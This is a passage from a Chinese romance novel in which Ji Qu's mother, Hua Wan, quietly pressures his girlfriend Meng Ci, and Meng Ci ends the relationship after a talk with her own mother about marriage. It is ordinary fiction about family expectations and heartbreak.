连呼吸都不敢太重,生怕打断这美好的时刻。 季曲就这么愣着。 孟慈等了又等,直到又一阵风吹过手掌,柔柔的。 借着风的力量,她终于牵住季曲的手,说回家吧,我们回家。 踩上云端的过后,心脏在某一瞬间停止跳动,像是灌了满满的铅,向四肢沉。 这是不常有的安定与归属,经过两人交叠的手心无限无度的传递。 季曲回握孟慈,用更大的力气,说:“我们回家吧。” 第二天季曲原本打算等孟慈睡醒后在家吃完饭再去机场,但是一大早就收到华婉的信息,说需要他去京郊接一位客人。 季曲轻手轻脚地出了卧室,给华婉回电话说自己下午的航班要出国,华婉说她知道,但是季荣涛陪季亮鸿去医院照常检查,季荣宝不知道跑到哪里采风,季澈更不用说,昨晚还在不知道哪个山犄角调研,信号都没有。 季曲有点想拒绝:“很重要吗?” 华婉的语气没什么变化:“不重要我大早上的找你?” 还没等季曲答应,华婉就自作主张的决定好这件事,说会让司机十点准时去接季曲,车上有她提前备好的礼品,一齐带过去。 华婉挂电话前突然问:“你在哪套房子?” 季曲揉了揉有些睡乱的发:“给你发位置。” 大清早被一通电话吵醒,季曲打开卧室门看孟慈还在睡便没扰醒她,在床头留了张便签,又安顿阿姨简单煮点软和的饭菜备着,以防自己赶不回来陪孟慈吃饭。 打开手机看看孙谦发来的航班信息,下午六点起飞。 季曲看着华婉发来的定位思量,去接位客人一来一回满打满算也就四五个小时,时间上来得及。 华婉的司机准时到位,季曲看了眼后备箱的礼品,从品类判断出来应该是年纪与华婉持平的人。 坐进车里,浓烈的花香味冲进鼻腔。 华婉总喜欢用水生调的香氛,季曲每每闻多了总会头痛。 拧开旁边扶手上的水喝了几口,又把车窗降下一道小缝。 季曲松了松领带,从晨起就无故憋闷的胸口总算轻松一点。 也不知道孟慈几点睡醒,季曲想到这儿不由得回头看一眼,房子已经消失在视线里,只剩在灰黑色的柏油路和不算太晴朗的天。 第42章 第42章终于脱轨 季曲走后没多久孟慈就睡醒了,看了眼床头的便签,给季曲发了条信息,还没等自己从床上坐起来,季曲就回过一通电话。 孟慈掀开被子往浴室走,接起电话放到流理台上。 “睡醒了?” “嗯。” “我临时出来办点事,下午两三点就回去。” “好。” 听到电话那边的水声,季曲知道孟慈大约要洗漱,又安顿她要吃点东西垫垫,也不能穿太薄的外套,罗马还有些凉。 孟慈通通应了好,挂了电话便开始收拾自己。 厨房里有虫草鸡汤,阿姨给孟慈打了一碗,又配了点小菜,孟慈坐下大致吃了一点。 用餐途中阿姨看到孟慈总是摸自己的右眼皮。 阿姨站在厨房里问了一句:“不舒服吗?” 孟慈摇摇头:“眼皮总是跳。” “那是因为没休息好。”阿姨从厨房走出来,递给孟慈一块拇指盖大小的黄瓜尾巴,“贴上一会儿就好了。” 不知道从哪传的土方法,裴沛以前也总是会这样做,孟慈说自己眼皮跳的时候。 孟慈不是个难伺候的人,阿姨才敢用这种方法。 孟慈往前倾了倾身子,让阿姨把黄瓜贴到自己的眼皮上,冰冰凉凉的。 她说:“谢谢您了。” 阿姨摆手说没事,让孟慈吃完饭就去休息,大晚上的坐飞机一定很累。 吃完饭上楼换好衣服化完妆,孟慈没什么困意,干脆去书房打发时间,季曲又添置了一批新的书目,目光在书脊上滑过,孟慈挑出一本还算感兴趣的。 厚度也刚好,可以带到飞机上继续看。 刚看了三五页,书房的门突然被敲响,孟慈摘掉耳机,看到阿姨推门,一贯笑眯眯的脸上突然多了丝拘谨。 把书倒扣在桌面,孟慈问怎么了。 阿姨说有人来了,让孟慈下楼去看看。 孟慈微皱眉:“谁啊?” 阿姨低着头,只是说下去看看就知道了,然后就先一步下了楼。 孟慈拿起手机看看时间,刚好十二点,季曲不会回来这么早。 简单照照镜子梳了梳头发,孟慈沿着楼梯下去,看到客厅的沙发上坐了一个女人。 她的头发优雅地盘在脑后,脊背像天鹅一样挺直。 听到孟慈的脚步,品完嘴里的茶,把茶杯放回茶几上,才不紧不慢地回头。 阳光落在她鸽子蛋大小的翡翠项链上,熠熠生辉。 她没说话,就这么看向孟慈,以一种淡然模样。 孟慈先是一怔,在诡异的安静中与她对视,过了很久,也可能只是几秒,孟慈听到自己尽力保持平稳却依旧颤抖的声线。 “您好,好久不见。” 华婉过了两三秒才微乎其微地点点头,回道:“你比之前瘦了不少。” 兜兜转转的日子,在此刻,才回到最初的结尾。终于又和华婉面对面,终于又来到这一天。 孟慈的手脚冰凉,脸上的血色净褪。 一直到华婉开口让她先坐,她才堪堪回神,机械地挪动着步子在侧面的单人沙发安顿下自己的身体。 正午阳光刺眼,不偏不倚地打到孟慈脸上,放在膝盖上的双手握在一起,孟慈先开口,“您来找我有什么事吗?” 华婉叫阿姨帮她换了杯热茶,顺便让给孟慈也倒了一杯,做完 这一切才掀起她的眼皮看向孟慈。 “等孙谦来了再说吧,总得让季曲的人也在场听着,省得他以后和我闹。” 汤色如银似雪的白毫银针沉在杯底,被白毫覆被的茶芽同样熠熠。 孟慈捧着茶杯分心去看,过了好久,手心终于回温- 那边季曲到了地已经快下午一点,一座欧式风格的庄子,车子经由指引开到最中央的建筑后停下。 季曲开门下车,第一个迎过来的是安东升,他见到季曲下车笑道:“怎么才来?” 想着季芷嫁过来之后自己的辈分要比季曲高,安东升心下不由傲气几分,“季总”这种称呼就没必要用了,但是更亲近的也不合适,思考一番,干脆先跳过这一步。 司机绕到后备箱把礼品搬出来,放了满满两个推车。 季曲扫了眼场上的人,目光在季芷身上多留了几秒,季芷意会,放开挽着的安翰,走到人群前。 “表哥,要不要先和我去看看婚礼场地,我有些不好做主。” 季曲颔首,两人先离开。 一路上季曲的脸色都不太好,季芷跟在季曲身后,小心翼翼地解释。 “我妈最近还在国外回不来,所以姨妈才喊表哥过来帮我压压场子,不好意思表哥是不是太麻烦你了,还是打乱了你什么安排,我这边没什么事的,你可以先走。” 身后的人声音越来越小,季曲侧头睨了一眼,直接看得季芷紧张起来。 看着她捏着包柄发白的手,季曲还是忍了,释放出的冷漠气场也收起几分。 季芷的爸爸在她小的时候就去世了,仅剩母女两个相依为命。 不过季家养活这两个人不成问题,但是偏偏季芷的妈妈要强,硬生生地把季芷爸爸生前负责的海外支线一力扛了起来,因此季芷从小就跟着她妈妈四处跑。 自此以后,碰上这母女的事华婉自然也就多照顾些。 婚礼用的场地已经被工作人员圈了出来,季曲站在二楼阳台放眼去看,旁边的总策划在简单介绍。 季曲用平板翻看效果图:“这个场地你喜欢吗?” 季芷意识到是在问自己,后知后觉道:“我和安翰都觉得不错,就是离市里太远了。” “他们这有住的地方,亲近的提前一天过来,关系一般的早点起床跑一跑就行。” 季曲把平板放在一边,打开玻璃门走到室外,季芷抬脚跟上,其余的工作人员停在原地,给兄妹俩留出说话的空间。 “真要结?”季曲倚在大理石栏杆上,黑色衣角被风吹起一块。 季芷纤长的睫毛一颤,顿了顿才回答,“嗯。” “不后悔?” 季芷笑了,说不后悔。 结婚后的日子毕竟是两个人过,过于追逐前尘往事也没什么意义。 季曲想了又想,只说好好处吧,发生什么都别怕,家里自然会给季芷兜底。 季曲其实是很好的哥哥。 季澈从小就被培养成严于律己一丝不苟的模样,读完书立即工作,回家的时间少之又少。 季曲就不一样了,小时候逢年过节还会带着弟弟妹妹们一起玩,长大了之后也时不时地关心各家。 有困难了帮一把,没困难就锦上添花,能作的主绝不让自己家人受委屈。 久而久之,季芷这一辈的人反倒习惯了有什么事先找季曲,然后才是自己爸妈。 季芷记得自己小时候在美国读书,作为为数不多的亚洲面孔没意外地受到轻视排挤。 有一次假期季曲来参加物理竞赛,妈妈就邀请季曲吃了顿饭,饭间季曲注意到自己胳膊上的淤青,问自己是不是被欺负了,季芷摇头否认,很小的事没必要给让别人添麻烦。 但是第二天季芷再去学校就发现师生对她的态度都好了很多,总找自己麻烦的那几位也纷纷办了退学。 思来想去,也只有季曲会做这件事。 季芷想到这些,心里的紧张不知道在什么时候早就消失无踪。 刚刚酒店还准备了喜糖,她特地留了一包,她从包里掏出糖盒递给季曲,“表哥给你沾沾喜气。” 季曲摆手:“我不怎么吃甜的。” “可以给嫂子带回去。”季芷又往外递了递,季曲这才收下。 两个人又站了一会儿,季芷把后续的安排给季曲过了一遍,备婚大致就这么些流程,季曲说有需要就联系自己。 安翰正好找过来:“可以试菜了。” 季曲没接茬,季芷的眼神在两人之间转了一圈,最后看着地面选择沉默。 室外的风越来越大。 看着季芷被吹得翻飞的丝绸飘带,季曲才开口让季芷先过去,自己和安翰有话要说。 季芷犹豫了几秒,说了句那她先去照顾叔叔阿姨,才在季曲递给她一个放心的眼神后离开。 工作人员们全部跟着季芷撤走,偌大的会客室只剩下两个人。 安翰也走进阳台,掏出烟盒给季曲递过去,季曲说最近不怎么抽了。 自己叼了一根点燃,安翰看着远处还未张绿的草场,吸了半根才开口:“听说去罗马玩?” “嗯,孟慈想去。” 季曲依旧保持着靠栏杆的姿势,风打在他的后脑勺,吹得他通体生凉。 心里惦记着孟慈,季曲也懒得和安翰在风口傻站着,说:“既然都要结婚了,就收收心好好过,第一笔钱下周就能打给你们公司。” 安翰也没作假,笑了一声说谢啦表哥。 这个称呼有些膈应人,季曲不冷不热地瞥了安翰一眼,先从阳台离开。 “我不会和你妹妹结婚的,所以这句表哥,你应该是最后一次听。”安翰转回身,学着刚季曲的姿势靠在栏杆上,一副吊儿郎当的模样。 安翰指间的烟在风的作用下加速燃烧,长段的灰烬又随着风吹到季曲脚边,蹭到他的皮鞋边。 轻轻一碰,圆柱形的烟灰便尽数散在木地板上,季曲抬头,依旧是任尔如何做的模样,他撂了句,“后果自负。” “能不能帮个忙啊,看在认识这么多年的份上。”安翰冲着季曲离开的背影喊,“何冉那边要是有什么大麻烦,能帮一手你就帮一手,我一起还。” 季曲没停没回头,只有话飘过来:“自己的人自己管。” 安翰苦笑:“我怕我管不了。” 要是能的话,他也不想把何冉交给别人,他也想自己管她一辈子,照顾她一辈子。 就像求婚时他说的那样。 不过他对季曲放心,毕竟相处十几年,再加上孟慈的情分在那儿摆着,季曲不会见死不救。 捻灭烟头,安翰转身看着空旷的草地,放空头脑,感受风,感受不被束缚的分秒自由。 吃饭时,季曲自然而然地落坐主位,他顺势指了指左手边的空位,“季芷过来。” 原本已经扶上椅背的安东升见状只能笑笑让季芷过来坐,然后自己绕到季曲右手边坐下。 菜品中规中矩,经理在一旁介绍每道的寓意。 “生根发芽”“如鱼得水“龙凤和鸣”。 都是再好不过的祝福。 季曲安静地用餐,偶有交流也只是和季芷说家里有些长辈的过敏食物,让季芷到时候提前留心着,多准备些大众食材替换。 兄妹两和睦交流,安家的人倒是一时间插不上嘴。 一顿饭就这么结束。 季曲和季芷打完招呼上车离开,同时给孟慈拨去电话。 从吃饭开始孟慈就不再回复季曲的消息,该不可能是又睡着了。 铃声响到自动挂断,听筒传来无人接听的提示音,季曲的眉心打了褶。 车内的空调温度有些高,季曲单手脱了外套,另一只手给阿姨打过电话,同样是无人接听。 正奇怪时,孙谦的电话拨了进来。 季曲接起。 “季总。” “怎么了?” 孙谦语气有些紧张:“您母亲刚刚和孟慈见了一面。” 季曲以为自己听错了:“谁?” “您母亲。”孙谦的声音艰涩,“十二点左右去的,谈了不到半个小时就走了,孟慈还在,我现在就在外面守着……” 季曲的耳朵从听到“您母亲”三个字开始就单方面宣布了罢工,再多的字眼也递不进大脑。 华婉和孟慈见面了,还是在季曲不在场的时候。 季曲的瞳孔在颤,手在抖,迅速冲到大脑的血液造成四肢酥麻,甚至是痛。 孟慈和季曲两个人,终于脱轨。 第43章 第43章我们的婚姻 孙谦是在桌子上的太阳光偏移了三四厘米后赶到的。 他和孟慈一样,起初只看到了华婉的背影,等分辨清来人是谁时,眼中的惊慌失措不比孟慈少。 不过还好,经过一盏茶的时间,孟慈已经能安坐在沙发上与华婉一起递给孙谦一个不必惊慌的眼神。 华婉先是让孙谦把通讯设备都放在茶几上,然后又指了指右手边的沙发,让孙谦坐下。 阿姨已经被孟慈打发走了,现在自然没人给孙谦添茶。 看了看华婉也逐渐空了的茶杯,孟慈主动接替过阿姨的位置,毕竟在场三个人,最了解这栋房子的应该是自己无疑。 清亮茶汤注入瓷杯,诺大的房子只剩下水声,华婉甚至和孟慈道了谢,孟慈也客气地回了句不客气。 孟慈完成一系列动作后做回原位,三人各占一角。 正席开始。 “找你来是让你做个证,后续要是季曲和我闹,你能站出来说句公道话。” 华婉先对孙谦说明邀请他出现的目的。 孙谦拘谨地说好,自从进来之后他就一直在看孟慈,但是当事人却极为自然,反倒他这个旁观者太坐立不安。 华婉喝了口茶,这才转向孟慈,不急不缓地开口:“这串珠子是按他的八字求的,你带多了对你也不好,摘了吧。” 垂眸看了眼手腕,孟慈抬起左手附在珠串上摸了摸,指腹刮过起伏的纹理,然后才褪下搁在面前的茶几上。 孟慈太过温顺,和第一次见面时一模一样,脊背挺地笔直,头却微微垂着,双手搭在腿上,静静地听华婉说,偶尔点头或者“嗯”一声,算是回应,代替对视证明她在听自己说话。 面对这样的孟慈,华婉也说不出什么太重的话。 她清了清嗓子:“今年毕业?” 孟慈点头:“嗯,顺利的话在夏天。” “毕业了打算干点什么?继续读书?还是回来做你的公司。”华婉早就把孟慈的信息摸透。 孟慈想了几秒,诚实地说:“没想好。” “不用太着急决定,你还年轻。”华婉以过来人的身份聊起她的经验,“多尝试,多走走看看,这么早就安定下来没什么不好的。” 华婉的语气温和到孙谦都不敢相信。 又喝了一口茶,华婉继续:“你妈妈是定居在新西兰了吗?” “她蛮喜欢那里的,但是还没提定居的事。” 华婉点头:“多陪陪妈妈也挺好的,你们现在的孩子就是眼界太高,野心太大,总想着往外跑,根本不懂得多回家看看。” 说到这儿,华婉顺着开始抱怨自己的两个儿子,语气间的嫌弃不加掩饰地流露出来。 “要不是季澈给我们送回来个小孙女,我们可真的没个盼头。” 说到这儿,华婉还拿起手机翻到季欢倾的照片递给孟慈看。 确实是个很可爱的小姑娘,怪不得华婉一聊起她都笑得真心不少。 “上次季曲还给她看你的照片,问让你当她的婶婶好不好。”华婉的眼睛依旧停留在照片上,但是四周的空气却因为这句话紧张起来。 满意地看完疼爱的小孙女,华婉才收起手机,同时也收起邻家长辈的亲和做派,恢复成众人熟知的模样。 “季曲和你提过吗?结婚的事?” “没有。”孟慈答得很快,因为她不用思考,关于结婚的事,季曲一次都没提过。 华婉轻微挑眉,看了孙谦一样,孙谦也微微点头,表示季曲也没和自己提过。 倒是没想到,还以为自己儿子已经走到不可自拔的地步,原来也不过如此。 但是来都来了,华婉总不能白走一趟,把危险扼杀在摇篮里,也没什么不好。 调整了下坐姿,华婉继续说:“我对季曲的交友没什么要求,但是在婚姻层面,我不得不插手。” 孟慈笑笑说应该的,毕竟婚姻是大事。 华婉赞同孟慈的说法:“是啊,婚姻是大事,是两个家庭的结合,是因为两个人却要把无数个人相连接的买卖,这买卖太不划算。” “季曲和你说过吗?我结婚之前的职业?” 孟慈摇头。 华婉笑了,华丽中多了丝不易察觉的伤感。 “也是,毕竟他也不太清楚,我也没怎么和他们提过这些。” 华婉用最精炼的语气讲述了一个不算完美的故事。 真假无足考量,却足够劝退孟慈“爱抵万难”的认知。 “我读的是艺术,毕业后去国外当了两年的大提琴手,巡演一度多到我的手腕产生了不可逆的损伤,但最后甚至需要打封闭才能上场撑完整场音乐会,但是我愿意的不得了。” “第三年的时候,我等来了梦寐以求的一个机会,但是我的父母叫我回家结婚,没有任何征兆,没有任何讨论的余地,他们只是打电话来通知我,我要结婚了。” 华婉的语速始终保持在平稳的状态,阳光转移到她的脖颈间,翡翠绿的幽深,暂时让人忽略她的脸与五官。 “所以我放弃了机会,放弃了大提琴,放弃了那时的男朋友,还有一只刚领养的小猫。” “连行李都没来的及收拾,我只拎了只随身的背包,就匆匆踏上回国的班机。” “一落地就在出口处看到季曲的爸爸,他抱了一束蝴蝶兰,是我最喜欢的花。” 接下来就是顺理成章的婚礼,生子,操持季家里里外外的事务。 华婉抬起右手,同套的翡翠镯子衬得她皮肤雪白。 “我再也没碰过大提琴,我开始学习我没接触过的学科,经济、管理、法律……等等,甚至在来找你之前我刚刚结束了一节法语课。” 在华婉短暂的沉默里,孟慈适时开口:“您很优秀,把一切都管理的井井有条,把老公和儿子都照顾得地很好。” “对啊,大家都这么说。”华婉收起手腕,笑了一下。 “所以你愿意吗?” “放弃你的一切,成为季曲的老婆,季家的儿媳。” 脱出“孟慈”的一切,成为季家的附属。 华婉看到孟慈的目光如自己预料般的颤抖了一下,自尊心强的孩子更好攻破。 她安慰地笑道:“我不是吓唬你,当然我现在过的幸福美满,我获得的远比失去的要多。” “但是孟慈,你和我不一样,我从生下来之后就知道总有一天要为我的家作出贡献,这是我获得超越绝大多数人的优渥生活的代价,“华”这个姓,是我的特权卡,也是我的禁行令。” “您的意思,我明白了。”孟慈抿了抿嘴,换上礼貌的笑意,试图以自己的退步换得这场对话提前结束。 但可惜这场对话的主动权不在她,自然由不得她说结束就结束。 华婉继续说:“当然我不是拒绝你成为季曲的老婆,季家的媳妇,我知道你是很有能力的人,你一定能把我说的这些都做的很好,只要你耐心学,只要你愿意做。” 孟慈看着华婉保养的没有一丝皱纹的眼睛,等待她的下文。 “但是孟慈,如果我是你,我有一个普通的姓氏,有足够的金钱,有自己的爱好,我一定不会满足于现状,无论你相不相信。” “婚姻到最后都一样,男人也都那样,激情不可能持续二三十年,爱情也终归会转变为亲情、责任……以及一系列无关紧要的东西,如果过得好的话,也许你愿意让你的儿女把你们葬在一起。” 孟慈努力保持微笑,让嘴角上挑的弧度真实可信。 “不知道你能不能明白,我不是来棒打鸳鸯的,我只是和儿子的女朋友分享一些人生经历,至于未来过的好坏,都得看你自己。” 华婉应该已经说到最后,因为她的身体稍微往前倾了些。 “我想你是聪明人,因为两年前的那次见面,你已经做了最正确的选择,至于我们为什么又见面,我想应该是季曲的问题,他从小就能得到一切他想要的,除非他主动抛弃,不然他一定会留着不放手,他一定是知道了你回来才又跑去纠缠你。” “所以我相信这次你一定能再次做好选择,新西兰确实不错 ,不仅能陪陪家人,自己也有发展的天地。” 华婉的这番话确实动听又感人,如果不是她临走时留在茶几上的那张银行卡,以及那句:不过我说这些可能有些严重了,毕竟季曲确实还没和你走到那一步,谈谈恋爱而已,开心就好。 孟慈几乎真的以为这是一场纯粹的故事分享会。 孙谦被华婉带走,房子里只剩下孟慈自己,和她震耳欲聋的心跳,和她沸腾燃烧的血液。 “三点之后,你可以给你的老板通风报信。”华婉坐在车上摇下车窗对站在路边的孙谦交代。 孙谦点头应下。 “记得和你老板说,我可没欺负他的女朋友,只是和她聊聊天。” 孙谦心里冷笑,是啊,聊聊天而已,把刀子磨软一寸一寸地往孟慈心里捅时不时地还要转个角度。 目送华婉的车离开,孙谦没敢走,选择守在房子门口,毕竟这样还能替老板看住人,绝不能让孟慈凭空消失的事情再次重演。 直到日光完全消失在茶几表面,孟慈才麻木地动了动。 自从华婉离开,她挺地笔直的脊背才终于弯下了来,像是春日里的杨柳枝,垂成一个弧度。 麻木,哪儿都是麻木,大脑,心脏,四肢,指节。 孟慈能感知到的所有地方,都是麻木。 在她逐渐要连呼吸都忘记的时候,裴沛的电话救了她一命。 想想也知道自己的脸色应该不算好看,孟慈拒绝视频请求,给裴沛回了通电话。 裴沛的声音从听筒传来,伴随着微弱的杂音。 “在干嘛?” 清了清嗓子,孟慈才说没干嘛,闲坐着。 裴沛刚吃饭完,想到前段时间和孟慈说的事,便打算问问。 “考虑的怎么样?” “妈。” “嗯?你是不是感冒了?” 裴沛突然发现孟慈的声音有点哑。 孟慈顺坡下驴,说最近有些变天,可能出门着了风。 “让你多穿点,就是不听话,秋裤穿了吗?” “穿了。” “也不知道真的假的,吃药了吗?” 孟慈说吃了,裴沛追问吃了什么。 从脑海里搜索到最常见的一款感冒药,孟慈报出药名。 “你流鼻涕吗?” “不流。” “发烧吗?” “不发烧,就是嗓子不太舒服。” “你这孩子,你吃的药是治风热感冒的!” 裴沛的语气变急,感觉下一秒就要骂人。 孟慈连忙喊停:“妈,妈我去药店说了症状,人家给我配的药,要是没什么作用我明天就去医院。” 裴沛这才放心点,又说要开视频看看孟慈的脸色,孟慈推脱说手机摄像头摔坏了,开不了视频。 “那就赶紧去修啊!”裴沛又开始一番絮叨。 孟慈静静地听着,奇妙的是麻木的心跳竟然逐渐复苏。 “妈。” “怎么了?” 孟慈打断喋喋不休的裴沛,问:“你为什么非想我结婚啊?总得有个道理吧。” “这有什么道理?到了岁数不都该结婚?” 孟慈继续说:“不是这些,总得给我一个认真的理由,我非结婚不可的理由,你知道的妈妈,我从小就犟,除非你真的有道理,不然我不可能听你的。” 听筒那边安静了一会儿,微弱的电流声穿过平原海洋,穿过天空白云,在两人之间盘旋。 直到孟慈拿手机的手开始发酸,裴沛才给出理由。 她冷静又理智:“你当初为什么支持我和你钱叔叔一起,就是我现在为什么要求你结婚。” 简单的换位思考,复杂的情绪感知。 孟慈的身体里向过了一道极强的电流,经过的地方被烧的焦荒冒烟。 “妈妈,我不能无时无刻的照顾你,但是又不放心你一个人。” “吃饭的时候没人聊天,超市打折的时候没人陪你逛,生病的时候没人给你倒水。” “你别和我说什么有钱,去个好养老院这些问题都能解决,这完全和我说的不是一回事!” “钱叔叔挺好的,会做饭,还爱干净,和你有共同语言,经济上也没有负担,对你也这么好。” “……妈妈,我只是希望有个人能一直陪着你,毕竟我做不到。” 裴沛的话比华婉的话更像刀子。 只不过华婉的刀子不偏不倚地刺在孟慈身上,而裴沛的刀子变成雨共同落在电话两端的人身上,浑身上下都被捅出洞,暗红色的血潺潺地往外冒。 “我不需要你有多少套房子,也不需要你有多成功的事业,作为母亲,我只希望你有个家,就算我不在了也依旧为你亮着一盏灯的家。” 压抑的抽泣声传来,裴沛知道自己的女儿就连哭都是咬着嘴唇不出声地流泪,憋到自己面红耳赤喘不上气才舍得换一口气,漏出一丝声音。 孟慈无法回应,只能挂了电话。 裴沛的消息在几秒后发过来。 【去好好的洗个脸,洗个头发,换一身漂亮的衣服,画一个漂亮的妆。】 【在你还没找到你的家之前,可以随时来我和你的家。】 第44章 第44章烂俗结局 按照裴沛说的,孟慈卸掉已经上好的妆面,洗净抹完精油的头发,冲掉身上的疲惫,换了身新的衣服,再次重复几个小时前的工序,把自己收拾成崭新的模样。 期间季曲的电话和消息一直发进来,孟慈通通忽视。 把行李箱放到玄关处,孟慈坐在沙发上等季曲回家。 此时的阳光已经只能照亮三分之二的地板,孟慈和沙发一起被隐在阴影中。 季曲是在四点半左右到家的,他进来的步子很快很重,像是在赶什么,而且已经赶了很久。 就算孙谦说孟慈人还没走还在家里,季曲也放心不下,始终悬在嗓子眼的心在见到孟慈的背影时终于跌回原位。 绕到孟慈身前,缓缓蹲下,季曲看到孟慈漂亮得不像话。 她甚至在看到季曲时微微笑了下,还帮他拨了拨因为赶路而乱掉的发丝。 “不是让你多穿点?罗马很冷的。” 季曲看了眼孟慈身上的黑色长裙,明明是夏款,露在外面的纤薄肩背和两人在安家花园里重逢时一样的多,一样的不合时令。 孟慈垂眸看了看自己的装束,才抬头温温柔柔地说:“季曲,我不去罗马了,我要去看我妈妈。” “好啊。”季曲没迟疑地答应,拿出手机,“那我改签我们的机票。” 刚刚按亮的手机屏幕被孟慈伸手覆盖,她的腕上干干净净,没有自己送的手串。 孟慈摇摇头:“我自己去。” 季曲低着头把孟慈的手和腕一齐握住,孟慈好像在抖。 季曲转身在茶几上找到空调遥控器,把室内温度调高,就说了孟慈穿的太少,这不是冷了。 孟慈看着季曲干完一连串的动作,又回到自己面前,抬起头看向自己,额间不知道为什么渗出些汗。 “我不冷。”孟慈笑笑,然后把身旁的手串递给季曲,“我带不好看,还给你吧。” “好看,你带什么都好看。”季曲反驳孟慈,强势地要把手串戴回到孟慈的手腕。 孟慈自然不要,两人揪扯间“啪”的一声,珠子崩了满地,溅向四面八方,有的碰到墙壁才堪堪停下。 两人的动作 同时定住,孟慈的视线随着珠子走远,季曲的眼睛回到孟慈脸上,这才意识到,是自己在颤抖。 季曲努力平复自己,问:“那你什么时候回来?我去接你啊。” “不回来了,我直接回学校。”孟慈把散在沙发上的几颗捡起来放到季曲手心。 “你不想我啊?一走就走这么久,我去新西兰陪你一起回学校好不好?就像上次我陪你一起回来那样。”季曲的笑容有些狼狈。 孟慈的嘴角逐渐变平滑,手攥成拳,“季曲,我不用你陪了。” “瞎说什么!” “手串给你了,还有你妈妈给我的卡。”孟慈指了指茶几,确认季曲看到银行卡后才继续说,“公司那边我会彻底切割掉,这几年你帮我赚的钱足够我衣食无忧过完这辈子。” “我们就到这儿吧。” 季曲伪装出的平和在孟慈说完这一番话后彻底破裂,笑容也消失:“我妈说什么了?” “没说什么,都是有道理的话,孙谦也在旁边听着,你别和你妈妈闹脾气。” 孟慈还在替别人说话,怕对别人造成伤害,但是现在最受伤的人明明是她自己,明明说好的一起去罗马,昨晚还接自己回家,甜甜地说想自己,季曲只觉得荒唐。 他冷不丁地问了一句:“你们关系什么时候这么好?怎么还替她说话?” 孟慈解释道:“我没有……” “因为认识的久吗?”季曲盯着孟慈,“如果不是她自己说出来,你是不是一辈子都不打算告诉我你之前和我分手是因为她私下对你施压?” 这有什么好说的,孟慈并不觉得华婉对自己施压,她只不过是借着投资项目的名义来看了自己一眼,简单地聊了下季曲的家世生平,便足够孟慈打退堂鼓。 而且孟慈和季曲走到这一步,华婉只是其中起到影响的一个因素,并不是全部,更不是最关键的那个。 但是感受着季曲抓着自己的手越来越紧,孟慈只能再找到一个合理的理由。 思考间隙,她的指甲刺进掌心,“我妈想让我结婚。” “你妈想让你结?你自己想结吗?”季曲眼神阴鸷。 “想啊,为什么不想。”孟慈用了裴沛的话,“我到了该结婚的年纪,自然也想结婚。” “骗人。”季曲说孟慈在说谎,她明明不是向往婚姻的人。 “我确实不是。”孟慈坦荡承认,“但是那是以前,我现在有些向往了。” 季曲可能是气急了,竟然笑了,也开始说胡话:“那我们结婚不就好了。” “我们?”孟慈听到这儿皱起眉头,“你和我结婚?你怎么可能和我结婚。” 季曲被孟慈的反问气笑:“你怎么知道我没打算和你结婚?” “因为你和我在一起的时候是欲望作祟,因为你从来不把我带到你的家庭生活,因为你从来没和我提过下一步的规划,因为你只是要求我爱你,要求我想你,要求我时时刻刻离不开你。” “季曲,我不是你圈养的一只还算好看的鸟,你给我的金钱,宠爱,陪伴,我在安翰和何冉身上看到过,在李港和邓姚身上看到过,在你领我去的好多场子都看到过。” “所以,你应该并不想和我结婚。” 看着咄咄逼人的孟慈,季曲在愤怒的同时感到强烈的挫败,怎么就白白把真心递出去还被误会成这样? 面对已经被情绪洗礼的孟慈,季曲知道自己不能跟着她走,沉默让两个人都暂且冷静,看到孟慈胸口的起伏逐渐平息下来,季曲才开口解释。 “孟慈,你应该从一开始就知道,我的婚姻不可能完全由我自己做主,但是我以为我这段时间的改变,你应该看在眼里。” “我没再隐瞒我们的关系,毫不遮掩的在所有场合说你是我的女朋友,让人们都看到我对你的特殊,给你手串不是因为我真的相信它能保你什么,而是让人们都知道我把你放在心上,是真心对你。” 孟慈依旧保持抗拒,她根本没被季曲的这段话说服,任由自己的情绪把自己包裹成一座落在海中央的孤岛,“所以呢?” “我是没法决定和谁结婚,但是我能决定的是我结不结婚。”季曲把手心的珠子随手甩到地板上,像是随手丢弃一件垃圾,他牵住孟慈的手,“我可以一直不结婚,就能一直和你在一起。” 孟慈看着无比认真的季曲突然觉得可笑:“那你怎么不问问我愿不愿意?你怎么知道我就愿意和你谈一辈子恋爱?” “所以你现在和我分手就是因为结婚的问题?”季曲反问。 当然不是,孟慈对上季曲的恶劣态度,嘴角不自然地撇了一下。 捕捉到这一点,季曲在内心告诉自己别急,别把孟慈逼的太紧。 “我现在就可以回家取户口本,我们现在就能登记领证,我家里你不用管,打死我也是我的事。” 不适的场合,怪异的情绪,莫名的语气,混乱的语序。 季曲的心思传播到孟慈的大脑,信息经过有差异的编码解码过程产生其他意义,最终在传受双方产生隔阂。 孟慈摇摇头:“你怎么还是不懂呢季曲?” 体会到明显的失望,季曲也急了,控制不住地低吼:“你到底想要什么?你不说我怎么能懂?我说了我们现在领证,你还要什么?” 欲言又止,孟慈觉得嗓子眼堵了团棉花,把水分通通吸净,干到人发痛。 “怎么了?想说什么?”季曲握住孟慈的肩膀,力气大到像是要捏碎皮肉包裹的骨头,“你最好说好或者说爱我,我不想听到别的。” 对上季曲已经通红的眼眶,孟慈只是摇了摇头,无话可说。 她对季曲,对现状,无话可说。 他怎么就不懂呢? 要冒着被打死的风险才能和自己结婚,要在分手边缘才能和自己结婚,非要一直捂着耳朵跑。 从一开始,孟慈和季曲的相爱就不纯粹,欲望伴随利益,泥沙俱下,原本毫无关联的两个人,偏偏要在一起。 季曲摇孟慈的肩膀:“孟慈你说话!” 眼看着孟慈像一朵枯萎的花一样凋谢,季曲才开始害怕,抛开极端的愤怒,他害怕的是孟慈再次离开。 “季曲,我承认,第一次分开,是我过于害怕又自卑,我不敢爱你,我害怕我爱你,所以我让薄娴背锅,让你变成过错方,成全我的离开与愧疚。” “这次和好,你告诉我,你早就知道是我先背叛了我们的关系,怨我不够爱你。” 孟慈始终不敢看季曲的眼,她说着说着有些哽咽,季曲发现这一点,把人抱在怀里,手沿着孟慈的脊背一下下地顺,“不说了好不好?我们……” “你听我说完。”孟慈推开季曲,从他的怀抱里退出来,泪眼婆娑地看着季曲,“我这次爱你了,我真的爱你了,虽然时间不长,但是我相信你也能体会到季曲,我是真的爱你。” “我知道,我知道的……”季曲也跟着崩溃,伸手去擦孟慈流不停的眼泪。 “但是季曲……” 孟慈哭到出不上气,脸颊憋得通红,“爱没用,我这么爱你了,还是没用……” 爱抵万难,爱输万物。 孟慈颤抖地捧着季曲的脸,语不成调地挤出想说的话。 “我们放过彼此吧,我就是个普通人,你去当你的人上人,我去过我的平凡日子,我们别再纠缠了……” 